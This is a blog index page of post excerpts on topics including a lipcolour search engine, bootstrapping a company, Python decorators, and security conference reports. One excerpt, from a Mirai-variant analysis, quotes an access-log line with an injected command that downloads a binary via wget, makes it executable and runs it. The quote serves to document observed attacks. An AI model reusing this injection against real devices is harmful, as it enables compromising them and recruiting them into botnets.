Race Conditions

One commit at a time

  • Experimenting With the Affiliate Business Model for Tech Microbusinesses

    In our day and age, how does one make money from a niche search technology? This was a question I started thinking about last April when I was writing code for a colour similarity search engine for colour cosmetics. After I launched the demo version of lipcolourmatch.com, there was a flurry of traffic and I thought there might be an avenue to try and turn this into a business.

    Read more…
  • Just an Engineer and Technomyopia

    Published on Monday, 29th April, 2019. I initially started writing these notes last July after seeing Dr Kate Crawford speak at the Royal Society on bias in machine learning. Unfortunately, I never had a chance to finish this blog post before moving out of London and in the chaos of packing up my belongings, I’ve misplaced the notes that I took from the session. Thus there is no hope of me going in and revising this text until (if ever) I find my notes.

    Read more…
  • Team Antipatterns: Conflicting Priorities

    A side-channel attack on developer productivity. I’ve been around the tech industry block a few times now, first as a QA engineer, then a data engineer, then a software engineer and afterwards as an independent software contractor and consulting business owner. Although all of this has happened in the span of a bit over four years, I’ve learnt a lot about the different kinds of teams that develop software. In this “Team Antipatterns” series, I’d like to make notes and highlight some (perhaps obvious) things that I’ve encountered during my time in tech.

    Read more…
  • Solar and Solstice - Two Mirai Variants

    Notes on Solar and Solstice binaries. Strange Visitors in the Access Logs A few days (or maybe it was weeks), after I launched a public facing web service (a visual colour search engine I wrote a bit more about in this post) I started seeing some strange entries in the access logs. "<source ip redacted> - - [20/Apr/2019:14:11:03 +0000] "GET /login.cgi?cli=aa%20aa%27; wget%20http://<compromised host redacted>/bins/Rep.mips%20-O%20->%20/tmp/.Solar; chmod%20777%20/tmp/.Solar;/tmp/.Solar%20Dlink.mips%27$ HTTP/1.1" 404 233 "-" "Solar/9.

    Read more…
  • Building a Visual Lipcolour Search Engine

    Last April, I had an idea for a new kind of search engine that would help me solve a minor problem I’d had a few months before. Those who have seen me in person can probably guess that I am no stranger to outlandish and sometimes experimental lipcolours and so in my quest to create more and more outlandish liplooks (for funzies), I’d spend more and more time a) seeing pictures of cool liplooks and wonder ‘what lipcolour is that person wearing?

    Read more…
  • Notes About Decorators

    Decorators are one language feature in Python that I frequently use as a consumer of libraries and frameworks such as Flask but rarely implement myself. It’s time to revisit this feature! Thank you very much to Mark Lutz’s discussion in the 5th Edition of Learning Python. All mistakes are my own and feedback and comments are always appreciated. Decorators are a way to augment Python functions and classes. They do this by providing a syntax that allows us to associate code that should be run before/after a call to a function or a class.

    Read more…
  • Lessons From One Year of Bootstrapping

    If they don’t give you a seat at the table… Last July I decided to take a plunge and try to start a technology company. It felt like a idea good time: I felt that I had come to a standstill in my current software engineering role and needed a new challenge. While ‘needing a new challenge’ on its own is not a good enough reason to take the financial and career risk that is trying to create a company, I wanted to see if maybe trying to forge my own opportunities would be better than trying to knock down doors that were closed to me.

    Read more…
  • Blackhoodie18 Berlin Bootcamp Report

    In my previous post I wrote a few notes about the Blackhoodie18 Conference day. In this post, I’ll do a brief overview of some of the topics that were covered in the two day (intensive!) bootcamp. For some reason(most likely I did not read the track descriptions closely enough), I applied to track 3. The name (on my way to rock as hell) sounded super cool and I was really intrigued by the topics that were covered (intro to crypto, intro to Return Oriented Programming (ROP) and intro to Windows Kernel internals via building a keylogger).

    Read more…
  • Blackhoodie18 Berlin Conference Report

    Blackhoodie RE - a one day conference(which I’ll be talking about in this blogpost) and two-day intensive security topics bootcamp(next blogpost) - took place this weekend in Berlin and I was fortunate enough to be able to attend! Phew! The weather was cold (hi Berlin, you remind me of Helsinki!), but my braincircuits were still overclocked by all the great talks and the two day bootcamp in Track 3 - lots of crypto, Return Oriented Programming and exploits, and Windows Kernel internals.

    Read more…
  • What Makes a Good Technologist

    A recent job application asked me to reflect on the characteristics that define a good data scientists. I really liked the question and the kinds of thoughts it generated in my mind, so I decided to poke around this topic a bit more and think about the kinds of qualities that make a good technologist. The term technologist is quite broad in scope - indeed, most of the appliances we use in every day life (including writing - the applicance I’m using to communicate with right now!

    Read more…